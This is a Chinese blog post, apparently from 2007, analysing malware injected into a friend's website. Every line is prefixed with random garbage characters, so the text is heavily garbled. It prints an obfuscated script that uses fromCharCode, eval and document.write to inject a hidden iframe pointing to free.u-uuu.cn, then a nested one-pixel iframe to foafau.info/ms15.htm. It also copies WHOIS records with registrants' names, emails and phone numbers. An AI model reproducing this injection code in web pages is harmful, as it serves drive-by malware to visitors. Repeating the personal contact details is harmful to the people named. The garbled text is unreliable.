首发在我的博客里面，
<!m'xO D 7%x
3o#& http://www.areway.cn/?p=175 ecg>_%.> k.MAX8 v vvH5NRm 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
oI2YJ2?Je8 t< % S_J\ <script>t=’60,105,102,114,97,109,101,
m.|__L 32,115,114,99,61,104,116,116,112,58,47,47,
Cvk n2T 102,114,101,101,46,117,45,117,117,117,46,99,
U|2*.''+Q 110,47,101,114,114,111,114,46,104,116,109,
ZA>p~Zt 32,119,105,100,116,104,61,49,48,48,32,104,
WBIJ9e2~ 101,105,103,104,116,61,48,62,60,47,105,102,
O wJZ?j& ) 114,97,109,101,62′;
93+p~ ? t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
gs?=yNL G5K_e:i <script>t=’60,105,102,114,97,109,101,32,115,
_pM~v>~*+ 114,99,61,104,116,116,112,58,47,47,102,114,
3\~
RWoB0u 101,101,46,117,45,117,117,117,46,99,110,47,
bU+
z(Eg6 101,114,114,111,114,46,104,116,109,32,119,
1_Ag:> #X 105,100,116,104,61,49,48,48,32,104,101,105,
Z6Kw'3 103,104,116,61,48,62,60,47,105,102,114,97,
nS`DI92I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
N=h huKt] document.write(t);</script>
n@
rphJb s1/:Ts[3i <html xmlns=”
%8N=4vTJ http://www.w3.org/1999/xhtml _Vj uQ “>
Ait3KIJ9 <head>
2wKW17wj, <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
=Y;w O8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
6L\?+=X <title>首页 - 爱生活家庭网
'c")]{ _ h7qS 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
H7= [sL^ 转换字符串后的大概内容是（谁点击后果自付）：
6gSo>F4= <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
$:
%U`46%s Ln2dD> {2 查询玉米u-uuu.cn的详细信息：
O5;$cP: Domain Name: u-uuu.cn
luYa+E0 ROID: 20070901s10001s64972306-cn
fsr0E=nV Domain Status: ok
| D?lF Registrant Organization: 王雷
M:* ^k Registrant Name: 王雷
;K+'J0 Administrative Email:
czlovexs@126.com a*fUMhIi Sponsoring Registrar: 北京万网志成科技有限公司
vxmz3ht,Q Name Server:ns.yovole.com
OB&lq. r Name Server:ns1.yovole.com
\4B2%H Registration Date: 2007-09-01 17:54
/'S@iq Expiration Date: 2008-09-01 17:54
sp V E'"^ 最后PING了一下地址 都没有什么….
&q? A)R liuF;* 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
68pB*(i <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
"N|gU;~W <script language=”javascript” src=”
$2?10}mrx http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script AlQE;4yX >
$u`v
k|\R 这个玉米应该有可能是木马作者的：
4z$}e- foafau.info的详细信息：
9*"Ae0ok1 Access to INFO WHOIS information is provided to assist persons in
V6.w=6:`X determining the contents of a domain name registration record in the
Ig *qn# Dd Afilias registry database. The data in this record is provided by
@fML.AT Afilias Limited for informational purposes only, and Afilias does not
8D[,z 7n guarantee its accuracy. This service is intended only for query-based
1E]|>)$ access. You agree that you will use this data only for lawful purposes
y_mD9bgW and that, under no circumstances will you use this data to: (a) allow,
u\,("2ZW9+ enable, or otherwise support the transmission by e-mail, telephone, or
y&$mN facsimile of mass unsolicited, commercial advertising or solicitations
% #^)hX,+Q to entities other than the data recipient’s own existing customers; or
Z6Owxqfht (b) enable high volume, automated, electronic processes that send
K:i{us` queries or data to the systems of Registry Operator, a Registrar, or
,2I8,MOg Afilias except as reasonably necessary to register domain names or
c,\! <4 modify existing registrations. All rights reserved. Afilias reserves
\vU1*:3 the right to modify these terms at any time. By submitting this query,
Wg3\hv 29 you agree to abide by this policy.
~S='~ g) Domain ID:D22418703-LRMS
jZ;dY~fE Domain Name:FOAFAU.INFO
~j qG Created On:20-Nov-2007 16:05:42 UTC
svB T~P0x Last Updated On:20-Nov-2007 16:05:44 UTC
2?)bpp$WZ Expiration Date:20-Nov-2008 16:05:42 UTC
~MOab e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
R p!R&U/ Status:CLIENT DELETE PROHIBITED
}E}b/ulg1 Status:CLIENT RENEW PROHIBITED
pu"`*N L Status:CLIENT TRANSFER PROHIBITED
3O W) % Status:CLIENT UPDATE PROHIBITED
[J6*Q9B<V& Status:TRANSFER PROHIBITED
y].vll8R Registrant ID:GODA-040110615
D m|_;iO, Registrant Name:liu hong
%S2^i3 Registrant Organization:
-@wnQ? Registrant Street1:beijing
5tIM@, .I/ Registrant Street2:
c|s*(WljY Registrant Street3:
?4]#gC ks Registrant City:beijing
~;pv &s5} Registrant State/Province:
UX9r_U5) Registrant Postal Code:100000
Hvm+T r2@ Registrant Country:CN
:4ndU:.L Registrant Phone:+86.860108888777
3e<FlH{ Registrant Phone Ext.:
FzDZ<dJ Registrant FAX:
* i}Nb* Z3 Registrant FAX Ext.:
D9#?l <D Registrant Email:bbbshiji@163.com
{u1Rc/Lw Admin ID:GODA-240110615
6__#n` Admin Name:liu hong
d]v 4`nc
Admin Organization:
N <xf=a+j Admin Street1:beijing
o 9l =Q Admin Street2:
b`4R`mo Admin Street3:
~ }c`r 4 Admin City:beijing
2 (,
`9 Admin State/Province:
kg>Ymo. Admin Postal Code:100000
| Q
Y_ci Admin Country:CN
UHtxzp =[ Admin Phone:+86.860108888777
\Lz2"JI Admin Phone Ext.:
Q}?yj,D D Admin FAX:
#b~wIOR)Z Admin FAX Ext.:
Llf |fayq Admin Email:bbbshiji@163.com
ed,w-;(n~ Billing ID:GODA-340110615
>@2l/x8; Billing Name:liu hong
:uAW Billing Organization:
s[V $ f vW Billing Street1:beijing
,@_$acm Billing Street2:
L=. 4x=%% Billing Street3:
n.[0#Ur&} Billing City:beijing
{L!w/Ie X Billing State/Province:
j4au
Zl]NF Billing Postal Code:100000
!Cm<K*c"&E Billing Country:CN
%'}L .OvG Billing Phone:+86.860108888777
_L6WbRu| Billing Phone Ext.:
M NE{mV( Billing FAX:
q/o|uAq Billing FAX Ext.:
GP %83T Billing Email:bbbshiji@163.com
*3y eMx a Tech ID:GODA-140110615
Yfk){1 Tech Name:liu hong
k~(j Tech Organization:
d2Z kchf Tech Street1:beijing
Y4%Bx8 Tech Street2:
H$^b. 5K Tech Street3:
9I a4PPEH1 Tech City:beijing
+TzF*Np Tech State/Province:
|P_ \l,f8` Tech Postal Code:100000
?UX Ky Tech Country:CN
(l28 ,\Bel Tech Phone:+86.860108888777
C-;y#a) Tech Phone Ext.:
\iQD\=o Tech FAX:
O1@-)<_71 Tech FAX Ext.:
~ caKzq Tech Email:bbbshiji@163.com
wAr (5nEbx Name Server:NS27.DOMAINCONTROL.COM
nt ,tM/ Name Server:NS28.DOMAINCONTROL.COM
idwiM|.iU Name Server:
"t<$ { Name Server:
@j%r6N Name Server:
[69[Ct Name Server:
oKIry
8'^N Name Server:
; & 2J9 Name Server:
n7 RswX Name Server:
>IW0YIQy, Name Server:
;79X# hI Name Server:
AsRS7V Name Server:
SR 9 Cl Name Server:
UFxQ-GV4 KzRw)P 接着下载每个文件里面的代码：
[sC]<2 r 一步一步看..
5!ll
#/ {` 
/B$" fxFf 
ckqU2ETpD} 
G?LPj*=$? 
%}+!%A.3 
8K!
l X 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
